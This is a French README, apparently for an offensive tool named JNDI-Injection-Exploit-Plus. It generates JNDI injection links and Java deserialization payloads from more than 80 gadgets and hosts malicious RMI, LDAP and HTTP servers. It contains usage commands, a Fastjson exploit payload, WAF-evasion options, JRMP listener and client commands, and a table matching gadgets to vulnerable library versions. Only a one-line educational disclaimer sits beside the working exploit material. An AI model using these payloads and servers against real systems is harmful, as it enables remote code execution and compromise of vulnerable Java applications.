
Génère des liens d'injection JNDI exploitables et des charges utiles de désérialisation avec plus de 80 gadgets, prenant en charge les serveurs RMI, LDAP et HTTP pour les tests de vulnérabilité automatisés.
JNDI-Injection-Exploit-Plus est un outil permettant de générer des liens JNDI fonctionnels et de fournir des services d'arrière-plan en démarrant un serveur RMI, un serveur LDAP et un serveur HTTP.
En utilisant cet outil, vous pouvez obtenir des liens JNDI que vous pouvez insérer dans votre POC pour tester la vulnérabilité.
Par exemple, voici un vul-poc Fastjson :
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Nous pouvons remplacer "rmi://127.0.0.1:1099/Object" par le lien généré par JNDI-Injection-Exploit-Plus pour tester la vulnérabilité.
De plus, vous pouvez également utiliser JNDI-Injection-Exploit-Plus pour générer des payloads de type base64/hex, comme ysoserial.
JNDI-Injection-Exploit est un excellent outil ; voici sa version améliorée.
P.S. Plus de gadgets (⬆️) que ysoserial, bienvenue pour proposer une PR ! ^_^
Comme ysoserial.
Vous pouvez générer les payloads de désérialisation avec une sortie de type Base64 ou HEX.
Quelques wrappers pour encapsuler les données de désérialisation.
| Wrapper | Exemples de vulnérabilités |
|---|---|
| Xstream | CVE-2021-39149 |
| Apereo | Apereo 4.1 Désérialisation RCE |
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

Cacher le nom de la classe pour contourner le WAF.
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F
Référence : https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
POST /deserial/{Gadget}
cmd={command}&wrapper={wrapper}output={base64/hex}
P.S. Les paramètres wrapper et output sont optionnels.

Exécutez comme suit :
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-A] [adresse]
où :
-C - commande exécutée dans le fichier de classe distant.
(optionnel, la commande par défaut est "open /Applications/Calculator.app")
-A - l'adresse de votre serveur, qui peut être une adresse IP ou un nom de domaine.
(optionnel, l'adresse par défaut est celle de la première interface réseau)
Points d'attention :
Assurez-vous que les ports de votre serveur (1099, 1389, 8180) sont disponibles.
ou vous pouvez modifier le port par défaut dans la classe run.ServerStart.
Votre commande est passée à Runtime.getRuntime().exec() comme paramètres,
donc vous devez vous assurer que votre commande est fonctionnelle dans la méthode exec().
Les commandes bash comme "bash -c ..." nécessitent l'ajout de guillemets doubles.
Exécutez comme suit :
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [commande] [-D] [Gadget] [-O] [base64/hex]
où :
-C - commande exécutée dans le fichier de classe distant.
(optionnel, la commande par défaut est "open /Applications/Calculator.app")
-D - le nom du gadget de désérialisation.
-O - (Optionnel) le type de sortie de la désérialisation, par défaut base64.
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
Démo locale :
Démarrez l'outil comme ceci :
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
Capture d'écran :

Supposons que nous injections les liens JNDI (par exemple, rmi://ADDRESS/remoteExploit8 généré à l'étape 1) dans une application vulnérable pouvant être attaquée par injection JNDI.
Dans cet exemple, cela ressemble à ceci :
class Test{
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
}
}
puis, lorsque nous exécutons ce code, la commande sera exécutée,
et le journal sera affiché dans le terminal :

Pour plus d'exemples : Test-JNDI-Injection-Exploit-Plus
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
Résultat de sortie Base64 :

Nous pouvons choisir l'une des deux méthodes pour obtenir le jar.
Téléchargez le dernier jar depuis Realease.
Clonez le code source en local et compilez (nécessite Java 1.8+ et Maven 3.x+).
$ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
$ cd JNDI-Injection-Exploit-Plus
$ mvn clean package -DskipTests
P.S. ‼️ Si vous obtenez une erreur du type "java.rmi.xxx does not exists", vous devez définir la variable d'environnement JAVA_HOME.
Toutes les informations et tout le code sont fournis uniquement à des fins éducatives et/ou pour tester vos propres systèmes pour ces vulnérabilités.
| Charge utile | auteur | dépendances |
|---|
| Tomcat 8+ ou SpringBoot | @welk1n | trustURLCodebase est false mais Tomcat 8+ ou SpringBoot 1.2.x+ est dans le classpath |
| Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase est false mais Tomcat et Groovy sont dans le classpath |
| Groovy (GroovyShell) | @cckuailong | trustURLCodebase est false mais Tomcat et Groovy sont dans le classpath |
| Websphere Readfile | @cckuailong | trustURLCodebase est false mais WebSphere v6-v9 est dans le classpath |
| payload | auteur | dépendances |
|---|
| AspectJWeaver | @Jang | aspectjweaver:1.9.2, commons-collections:3.2.2 |
| BeanShell1 | @pwntester, @cschneider4711 | bsh:2.0b5 |
| C3P0 | @mbechler | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |
| C3P0Tomcat | @yulegeyu | tomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11 |
| Click1 | @artsploit | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |
| Clojure | @JackOfMostTrades | clojure:1.8.0 |
| Coherence1 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence2 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence3 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 |
| Coherence4 ⬆️ | @cckuailong | coherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence5 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| Coherence6 ⬆️ | @cckuailong | coherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 |
| CommonsBeanutils1 | @frohoff | commons-beanutils:1.9.2 |
| CommonsBeanutils2 ⬆️ | @cckuailong | commons-beanutils:1.9.2 |
| CommonsCollections1 | @frohoff | commons-collections:3.1 |
| CommonsCollections1_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections2 | @frohoff | commons-collections4:4.0 |
| CommonsCollections2_1 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections3 | @frohoff | commons-collections:3.1 |
| CommonsCollections3_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections4 | @frohoff | commons-collections4:4.0 |
| CommonsCollections5 | @matthias_kaiser, @jasinner | commons-collections:3.1 |
| CommonsCollections5_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6 | @matthias_kaiser | commons-collections:3.1 |
| CommonsCollections6_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_2 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections6_3 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1 |
| CommonsCollections7_1 ⬆️ | @cckuailong | commons-collections:3.1 |
| CommonsCollections8 ⬆️ | @cckuailong | commons-collections4:4.0 |
| CommonsCollections9 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections10 ⬆️ | @cckuailong | commons-collections:3.2.1 |
| CommonsCollections11 ⬆️ | @cckuailong | commons-collections:3.1 |
| FileUpload1 | @mbechler | commons-fileupload:1.3.1, commons-io:2.4 |
| Groovy1 | @frohoff | groovy:2.3.9 |
| Hibernate1 | @mbechler | |
| Hibernate2 | @mbechler | |
| Jackson ⬆️ | @y4er | com.fasterxml.jackson.core:jackson-databind:2.14.2 |
| JBossInterceptors1 | @matthias_kaiser | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jdk7u21 | @frohoff | |
| JRMPClient1 | @mbechler | |
| JRMPClient2 ⬆️ | @cckuailong | |
| JRMPClient3 ⬆️ | @cckuailong | |
| JRMPClient4 ⬆️ | @cckuailong | |
| JRMPClient5 ⬆️ | @cckuailong | |
| JRMPClient6 ⬆️ | @cckuailong | |
| JRMPListener1 | @cckuailong | |
| JSON1 | @mbechler | json-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |
| JavassistWeld1 | @matthias_kaiser | javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |
| Jython1 | @pwntester, @cschneider4711 | jython-standalone:2.5.2 |
| MozillaRhino1 | @matthias_kaiser | js:1.7R2 |
| MozillaRhino2 | @_tint0 | js:1.7R2 |
| Myfaces1 | @mbechler | |
| Myfaces2 | @mbechler | |
| ROME1 | @mbechler | rome:1.0 |
| ROME2 ⬆️ | @firebasky | rome:1.0 |
| Scala1 ⬆️ | @jarij | org.scala-lang:scala-library:2.13.x |
| Spring1 | @frohoff | spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE |
| Spring2 | @mbechler | spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 |
| Spring3 ⬆️ | @cckuailong | spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2 |
| URLDNS | @gebl | détection de vulnérabilité jre uniquement |
| Vaadin1 | @kai_ullrich | vaadin-server:7.7.14, vaadin-shared:7.7.14 |
| Weblogic1 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic2 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0 |
| Weblogic3 ⬆️ | @cckuailong | com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager |
| Weblogic4 ⬆️ | @cckuailong | weblogic.common.internal.WLObjectOutputStream |
| Weblogic5 ⬆️ | @cckuailong | weblogic:12.2.1.4, coherence |
| Weblogic6 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic7 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4 |
| Weblogic8 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic9 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic10 ⬆️ | @cckuailong | weblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Weblogic11 ⬆️ | @cckuailong | weblogic:12.2.1.3, 12.2.1.4, 14.1.1.0 |
| Wicket1 | @jacob-baines | wicket-util:6.23.0, slf4j-api:1.6.4 |
| WildFly1 ⬆️ | @hugow | org.wildfly:wildfly-connector:26.0.1.Final |
| JbossRemoting | Jboss Remoting Port Unserialization |
| Gzip | Certaines interfaces Yonyou utilisent Gzip |
| Dirty | Insère beaucoup de données sales pour contourner le WAF |